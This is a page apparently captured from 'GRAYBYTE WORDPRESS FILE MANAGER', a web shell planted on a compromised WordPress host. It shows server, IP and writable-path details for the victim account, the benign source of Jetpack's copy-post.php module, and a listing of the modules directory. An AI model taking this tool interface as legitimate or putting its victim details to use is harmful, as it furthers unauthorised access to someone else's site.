✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.138
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/tdhomesa/tdtravelandlogistics.com/wp-content/plugins/jetpack/modules//copy-post.php
<?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName
/**
 * Module Name: Copy Post
 * Module Description: Duplicate any post or page in one click to speed up content creation.
 * Sort Order: 15
 * First Introduced: 7.0
 * Requires Connection: No
 * Auto Activate: No
 * Module Tags: Writing
 * Feature: Writing
 * Additional Search Queries: copy, duplicate
 *
 * @package automattic/jetpack
 */

use Automattic\Jetpack\Assets\Logo;

if ( ! defined( 'ABSPATH' ) ) {
	exit( 0 );
}

// phpcs:disable Universal.Files.SeparateFunctionsFromOO.Mixed -- TODO: Move classes to appropriately-named class files.

/**
 * Copy Post class.
 *
 * @phan-constructor-used-for-side-effects
 */
class Jetpack_Copy_Post {
	/**
	 * Jetpack_Copy_Post_By_Param constructor.
	 * Add row actions to post/page/CPT listing screens.
	 * Process any `?copy` param if on a create new post/page/CPT screen.
	 *
	 * @return void
	 */
	public function __construct() {
		if ( 'edit.php' === $GLOBALS['pagenow'] || ( 'admin-ajax.php' === $GLOBALS['pagenow'] && ! empty( $_POST['post_view'] ) && 'list' === $_POST['post_view'] && ! empty( $_POST['action'] ) && 'inline-save' === $_POST['action'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- update_post_data() handles access check.
			add_action( 'admin_head', array( $this, 'print_inline_styles' ) );
			add_filter( 'post_row_actions', array( $this, 'add_row_action' ), 10, 2 );
			add_filter( 'page_row_actions', array( $this, 'add_row_action' ), 10, 2 );
			return;
		}

		if ( ! empty( $_GET['jetpack-copy'] ) && 'post-new.php' === $GLOBALS['pagenow'] ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- update_post_data() handles access check.
			add_action( 'wp_insert_post', array( $this, 'update_post_data' ), 10, 3 );
			add_filter( 'pre_option_default_post_format', '__return_empty_string' );
		}
	}

	/**
	 * Echos inline styles for the Jetpack logo.
	 *
	 * @return void
	 */
	public function print_inline_styles() {
		echo '
			<style id="jetpack-copy-post-styles">
				#jetpack-logo__icon {
					height: 14px;
					width: 14px;
					vertical-align: text-bottom;
				}
				#jetpack-logo__icon path {
					fill: inherit;
				}
			</style>
		';
	}

	/**
	 * Update the new (target) post data with the source post data.
	 *
	 * @param int     $target_post_id Target post ID.
	 * @param WP_Post $post           Target post object (not used).
	 * @param bool    $update         Whether this is an existing post being updated or not.
	 * @return void
	 */
	public function update_post_data( $target_post_id, $post, $update ) {
		// This `$update` check avoids infinite loops of trying to update our updated post.
		if ( $update ) {
			return;
		}

		// Shouldn't happen, since this filter is only added when the value isn't empty, but check anyway.
		if ( empty( $_GET['jetpack-copy'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
			return;
		}

		$source_post = get_post( intval( $_GET['jetpack-copy'] ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
		if ( ! $source_post instanceof WP_Post ||
			! $this->user_can_access_post( $source_post->ID ) ||
			! $this->validate_post_type( $source_post ) ) {
			return;
		}

		$update_results = array(
			'update_content'         => $this->update_content( $source_post, $target_post_id ),
			'update_featured_image'  => $this->update_featured_image( $source_post, $target_post_id ),
			'update_post_format'     => $this->update_post_format( $source_post, $target_post_id ),
			'update_likes_sharing'   => $this->update_likes_sharing( $source_post, $target_post_id ),
			'update_post_type_terms' => $this->update_post_type_terms( $source_post, $target_post_id ),
		);

		// Required to satisfy get_default_post_to_edit(), which has these filters after post creation.
		add_filter( 'default_title', array( $this, 'filter_title' ), 10, 2 );
		add_filter( 'default_content', array( $this, 'filter_content' ), 10, 2 );
		add_filter( 'default_excerpt', array( $this, 'filter_excerpt' ), 10, 2 );

		// Required to avoid the block editor from adding default blocks according to post format.
		add_filter( 'block_editor_settings_all', array( $this, 'remove_post_format_template' ) );

		/**
		 * Fires after all updates have been performed, and default content filters have been added.
		 * Allows for any cleanup or post operations, and default content filters can be removed or modified.
		 *
		 * @module copy-post
		 *
		 * @since 7.0.0
		 *
		 * @param WP_Post $source_post Post object that was copied.
		 * @param int     $target_post_id Target post ID.
		 * @param array   $update_results Results of all update operations, allowing action to be taken.
		 */
		do_action( 'jetpack_copy_post', $source_post, $target_post_id, $update_results );
	}

	/**
	 * Determine if the current user has edit access to the source post.
	 *
	 * @param int $post_id Source post ID (the post being copied).
	 * @return bool True if user has the meta cap of `edit_post` for the given post ID, false otherwise.
	 */
	protected function user_can_access_post( $post_id ) {
		return current_user_can( 'edit_post', $post_id );
	}

	/**
	 * Update the target post's title, content, excerpt, categories, and tags.
	 *
	 * @param WP_Post $source_post Post object to be copied.
	 * @param int     $target_post_id Target post ID.
	 * @return int    0 on failure, or the updated post ID on success.
	 */
	protected function update_content( $source_post, $target_post_id ) {
		$data = array(
			'ID'             => $target_post_id,
			'post_title'     => $source_post->post_title,
			'post_content'   => $source_post->post_content,
			'post_excerpt'   => $source_post->post_excerpt,
			'comment_status' => $source_post->comment_status,
			'ping_status'    => $source_post->ping_status,
			'post_category'  => wp_get_post_categories( $source_post->ID ),
			'post_password'  => $source_post->post_password,
			'tags_input'     => $source_post->tags_input,
		);

		// Copy footnotes with regenerated IDs.
		$data = $this->copy_footnotes( $data, $source_post, $target_post_id );

		/**
		 * Fires just before the target post is updated with its new data.
		 * Allows for final data adjustments before updating the target post.
		 *
		 * @module copy-post
		 *
		 * @since 7.0.0
		 *
		 * @param array $data Post data with which to update the target (new) post.
		 * @param WP_Post $source_post Post object being copied.
		 * @param int     $target_post_id Target post ID.
		 */
		$data = apply_filters( 'jetpack_copy_post_data', $data, $source_post, $target_post_id );
		return wp_update_post( wp_slash( $data ) );
	}

	/**
	 * Update terms for post types.
	 *
	 * @param WP_Post $source_post Post object to be copied.
	 * @param int     $target_post_id Target post ID.
	 * @return array Results of attempts to set each term to the target (new) post.
	 */
	protected function update_post_type_terms( $source_post, $target_post_id ) {
		$results = array();

		$bypassed_post_types = apply_filters( 'jetpack_copy_post_bypassed_post_types', array( 'post', 'page' ), $source_post, $target_post_id );
		if ( in_array( $source_post->post_type, $bypassed_post_types, true ) ) {
			return $results;
		}

		$taxonomies = get_object_taxonomies( $source_post, 'objects' );
		foreach ( $taxonomies as $taxonomy ) {
			$terms     = wp_get_post_terms( $source_post->ID, $taxonomy->name, array( 'fields' => 'ids' ) );
			$results[] = wp_set_post_terms( $target_post_id, $terms, $taxonomy->name );
		}

		return $results;
	}

	/**
	 * Update the target post's featured image.
	 *
	 * @param WP_Post $source_post Post object to be copied.
	 * @param int     $target_post_id Target post ID.
	 * @return int|bool Meta ID if the key didn't exist, true on successful update, false on failure.
	 */
	protected function update_featured_image( $source_post, $target_post_id ) {
		$featured_image_id = get_post_thumbnail_id( $source_post );
		return update_post_meta( $target_post_id, '_thumbnail_id', $featured_image_id );
	}

	/**
	 * Update the target post's post format.
	 *
	 * @param WP_Post $source_post Post object to be copied.
	 * @param int     $target_post_id Target post ID.
	 * @return array|WP_Error|false WP_Error on error, array of affected term IDs on success.
	 */
	protected function update_post_format( $source_post, $target_post_id ) {
		$post_format = get_post_format( $source_post );
		return set_post_format( $target_post_id, $post_format );
	}

	/**
	 * Ensure the block editor doesn't modify the source post content for non-standard post formats.
	 *
	 * @param array $settings Settings to be passed into the block editor.
	 * @return array Settings with any `template` key removed.
	 */
	public function remove_post_format_template( $settings ) {
		unset( $settings['template'] );
		return $settings;
	}

	/**
	 * Update the target post's Likes and Sharing statuses.
	 *
	 * @param WP_Post $source_post Post object to be copied.
	 * @param int     $target_post_id Target post ID.
	 * @return array Array with the results of each update action.
	 */
	protected function update_likes_sharing( $source_post, $target_post_id ) {
		$likes   = get_post_meta( $source_post->ID, 'switch_like_status', true );
		$sharing = get_post_meta( $source_post->ID, 'sharing_disabled', true );

		if ( '' !== $likes ) {
			$likes_result = update_post_meta( $target_post_id, 'switch_like_status', $likes );
		} else {
			$likes_result = null;
		}

		if ( '' !== $sharing ) {
			$sharing_result = update_post_meta( $target_post_id, 'sharing_disabled', $sharing );
		} else {
			$sharing_result = null;
		}

		return array(
			'likes'   => $likes_result,
			'sharing' => $sharing_result,
		);
	}

	/**
	 * Copy footnotes from source post, regenerating IDs for uniqueness.
	 *
	 * Gutenberg's Footnotes block stores content in post meta rather than
	 * in the block markup itself. The IDs must be regenerated to ensure uniqueness,
	 * otherwise multiple posts on the same page (e.g., archive views) would
	 * have conflicting footnote anchor links.
	 *
	 * @param array   $data Post data with which to update the target (new) post.
	 * @param WP_Post $source_post Post object being copied.
	 * @param int     $target_post_id Target post ID.
	 * @return array Modified post data.
	 */
	public function copy_footnotes( $data, $source_post, $target_post_id ) {
		$footnotes_json = get_post_meta( $source_post->ID, 'footnotes', true );

		if ( '' === $footnotes_json ) {
			return $data;
		}

		$footnotes = json_decode( $footnotes_json, true );

		if ( ! is_array( $footnotes ) || empty( $footnotes ) ) {
			return $data;
		}

		// Build a mapping of old IDs to new IDs and update the footnotes array.
		$id_mapping = array();
		foreach ( $footnotes as &$footnote ) {
			if ( isset( $footnote['id'] ) ) {
				$old_id                = $footnote['id'];
				$new_id                = wp_generate_uuid4();
				$id_mapping[ $old_id ] = $new_id;
				$footnote['id']        = $new_id;
			}
		}
		unset( $footnote );

		// Update the post content to use the new footnote IDs.
		foreach ( $id_mapping as $old_id => $new_id ) {
			// Replace data-fn attribute values.
			$data['post_content'] = str_replace( 'data-fn="' . $old_id . '"', 'data-fn="' . $new_id . '"', $data['post_content'] );
			// Replace href anchor links.
			$data['post_content'] = str_replace( 'href="#' . $old_id . '"', 'href="#' . $new_id . '"', $data['post_content'] );
			// Replace id attributes (e.g., id="uuid-link").
			$data['post_content'] = str_replace( 'id="' . $old_id . '-link"', 'id="' . $new_id . '-link"', $data['post_content'] );
			$data['post_content'] = str_replace( 'id="' . $old_id . '"', 'id="' . $new_id . '"', $data['post_content'] );
		}

		// Save the footnotes meta with new IDs.
		update_post_meta( $target_post_id, 'footnotes', wp_json_encode( $footnotes, JSON_UNESCAPED_SLASHES ) );

		return $data;
	}

	/**
	 * Update the target post's title.
	 *
	 * @param string  $post_title Post title determined by `get_default_post_to_edit()`.
	 * @param WP_Post $post       Post object of newly-inserted post.
	 * @return string             Updated post title from source post.
	 */
	public function filter_title( $post_title, $post ) {
		return $post->post_title;
	}

	/**
	 * Update the target post's content (`post_content`).
	 *
	 * @param string  $post_content Post content determined by `get_default_post_to_edit()`.
	 * @param WP_Post $post         Post object of newly-inserted post.
	 * @return string               Updated post content from source post.
	 */
	public function filter_content( $post_content, $post ) {
		return $post->post_content;
	}

	/**
	 * Update the target post's excerpt.
	 *
	 * @param string  $post_excerpt Post excerpt determined by `get_default_post_to_edit()`.
	 * @param WP_Post $post         Post object of newly-inserted post.
	 * @return string               Updated post excerpt from source post.
	 */
	public function filter_excerpt( $post_excerpt, $post ) {
		return $post->post_excerpt;
	}

	/**
	 * Validate the post type to be used for the target post.
	 *
	 * @param WP_Post $post Post object of current post in listing.
	 * @return bool True if the post type is in a list of supported psot types; false otherwise.
	 */
	protected function validate_post_type( $post ) {
		/**
		 * Fires when determining if the "Copy" row action should be made available.
		 * Allows overriding supported post types.
		 *
		 * @module copy-post
		 *
		 * @since 7.0.0
		 *
		 * @param array   Post types supported by default.
		 * @param WP_Post $post Post object of current post in listing.
		 */
		$valid_post_types = apply_filters(
			'jetpack_copy_post_post_types',
			array(
				'post',
				'page',
				'jetpack-testimonial',
				'jetpack-portfolio',
			),
			$post
		);
		return in_array( $post->post_type, $valid_post_types, true );
	}

	/**
	 * Add a "Copy" row action to supported posts/pages/CPTs on list views.
	 *
	 * @param array   $actions Existing actions.
	 * @param WP_Post $post    Post object of current post in list.
	 * @return array           Array of updated row actions.
	 */
	public function add_row_action( $actions, $post ) {
		if ( ! $this->user_can_access_post( $post->ID ) ||
			! $post instanceof WP_Post ||
			! $this->validate_post_type( $post ) ) {
			return $actions;
		}

		$edit_url = add_query_arg(
			array(
				'post_type'    => $post->post_type,
				'jetpack-copy' => $post->ID,
			),
			admin_url( 'post-new.php' )
		);

		$jetpack_logo = new Logo();
		$edit_action  = array(
			'jetpack-copy' => sprintf(
				'<a href="%1$s" aria-label="%2$s">%3$s %4$s</a>',
				esc_url( $edit_url ),
				esc_attr__( 'Duplicate this post with Jetpack.', 'jetpack' ),
				esc_html__( 'Duplicate', 'jetpack' ),
				$jetpack_logo->get_jp_emblem()
			),
		);

		// Insert the Copy action before the Trash action.
		$edit_offset     = array_search( 'trash', array_keys( $actions ), true );
		$updated_actions = array_merge(
			array_slice( $actions, 0, $edit_offset ),
			$edit_action,
			array_slice( $actions, $edit_offset )
		);

		/**
		 * Fires after the new Copy action has been added to the row actions.
		 * Allows changes to the action presentation, or other final checks.
		 *
		 * @module copy-post
		 *
		 * @since 7.0.0
		 *
		 * @param array   $updated_actions Updated row actions with the Copy Post action.
		 * @param array   $actions Original row actions passed to this filter.
		 * @param WP_Post $post Post object of current post in listing.
		 */
		return apply_filters( 'jetpack_copy_post_row_actions', $updated_actions, $actions, $post );
	}
}

/**
 * Instantiate an instance of Jetpack_Copy_Post on the `admin_init` hook.
 */
function jetpack_copy_post_init() {
	new Jetpack_Copy_Post();
}
add_action( 'admin_init', 'jetpack_copy_post_init' );


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
22 Jun 2026 6.38 AM
tdhomesa / tdhomesa
0755
canonical-urls
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
carousel
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
comment-likes
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
comments
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
custom-post-types
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
external-media
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
google-fonts
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
gravatar
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
infinite-scroll
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
likes
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
markdown
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
memberships
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
photon-cdn
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
plugin-search
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
post-by-email
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
related-posts
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
scan
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
seo-tools
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
sharedaddy
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
shortcodes
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
shortlinks
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
simple-payments
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
site-icon
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
sitemaps
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
stats
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
subscriptions
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
theme-tools
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
tiled-gallery
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
verification-tools
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
videopress
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
widget-visibility
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
widgets
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
woocommerce-analytics
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
wordads
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
wpcom-tos
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
account-protection.php
0.36 KB
6 Apr 2026 11.31 PM
tdhomesa / tdhomesa
0644
blaze.php
1.028 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
blocks.php
1.82 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
canonical-urls.php
2.455 KB
26 Feb 2026 9.49 PM
tdhomesa / tdhomesa
0644
carousel.php
0.598 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
comment-likes.php
8.043 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
comments.php
1.077 KB
23 Mar 2026 7.45 PM
tdhomesa / tdhomesa
0644
contact-form.php
0.779 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
copy-post.php
15.445 KB
19 May 2026 1.55 PM
tdhomesa / tdhomesa
0644
custom-content-types.php
4.001 KB
6 Apr 2026 11.31 PM
tdhomesa / tdhomesa
0644
google-fonts.php
0.628 KB
27 Apr 2026 8.15 PM
tdhomesa / tdhomesa
0644
gravatar-hovercards.php
11.912 KB
25 May 2026 6.51 PM
tdhomesa / tdhomesa
0644
infinite-scroll.php
8.245 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
json-api.php
0.491 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
latex.php
4.626 KB
25 May 2026 6.51 PM
tdhomesa / tdhomesa
0644
likes.php
20.992 KB
4 May 2026 9.08 PM
tdhomesa / tdhomesa
0644
markdown.php
1.04 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
module-extras.php
2.69 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
module-headings.php
44.736 KB
25 May 2026 6.51 PM
tdhomesa / tdhomesa
0644
module-info.php
27.272 KB
10 Feb 2026 2.53 PM
tdhomesa / tdhomesa
0644
monitor.php
3.7 KB
1 Jun 2026 7.52 PM
tdhomesa / tdhomesa
0644
notes.php
7.878 KB
8 Dec 2025 7.41 PM
tdhomesa / tdhomesa
0644
photon-cdn.php
12.689 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
photon.php
0.682 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
plugin-search.php
21.642 KB
4 May 2026 9.08 PM
tdhomesa / tdhomesa
0644
post-by-email.php
0.66 KB
6 Apr 2026 11.31 PM
tdhomesa / tdhomesa
0644
post-list.php
0.557 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
protect.php
0.595 KB
6 Apr 2026 11.31 PM
tdhomesa / tdhomesa
0644
publicize.php
3.765 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
related-posts.php
2.422 KB
19 May 2026 1.55 PM
tdhomesa / tdhomesa
0644
search.php
1.18 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
seo-tools.php
1.599 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
sharedaddy.php
1.058 KB
23 Feb 2026 3.49 PM
tdhomesa / tdhomesa
0644
shortcodes.php
6.451 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
shortlinks.php
4.585 KB
19 May 2026 1.55 PM
tdhomesa / tdhomesa
0644
simple-payments.php
0.411 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
sitemaps.php
1.305 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
sso.php
0.726 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
stats.php
43.159 KB
25 May 2026 6.51 PM
tdhomesa / tdhomesa
0644
subscriptions.php
35.382 KB
8 Jun 2026 8.52 PM
tdhomesa / tdhomesa
0644
theme-tools.php
2.47 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
tiled-gallery.php
1.115 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
vaultpress.php
1.801 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
verification-tools.php
0.878 KB
6 Apr 2026 11.31 PM
tdhomesa / tdhomesa
0644
videopress.php
0.966 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
waf.php
0.302 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
widget-visibility.php
0.545 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
widgets.php
2.8 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
woocommerce-analytics.php
0.906 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
wordads.php
0.617 KB
24 Nov 2025 10.00 PM
tdhomesa / tdhomesa
0644
wpcom-reader.php
0.45 KB
17 Feb 2026 5.00 PM
tdhomesa / tdhomesa
0644
wpgroho.js
1.931 KB
29 Oct 2024 4.55 PM
tdhomesa / tdhomesa
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF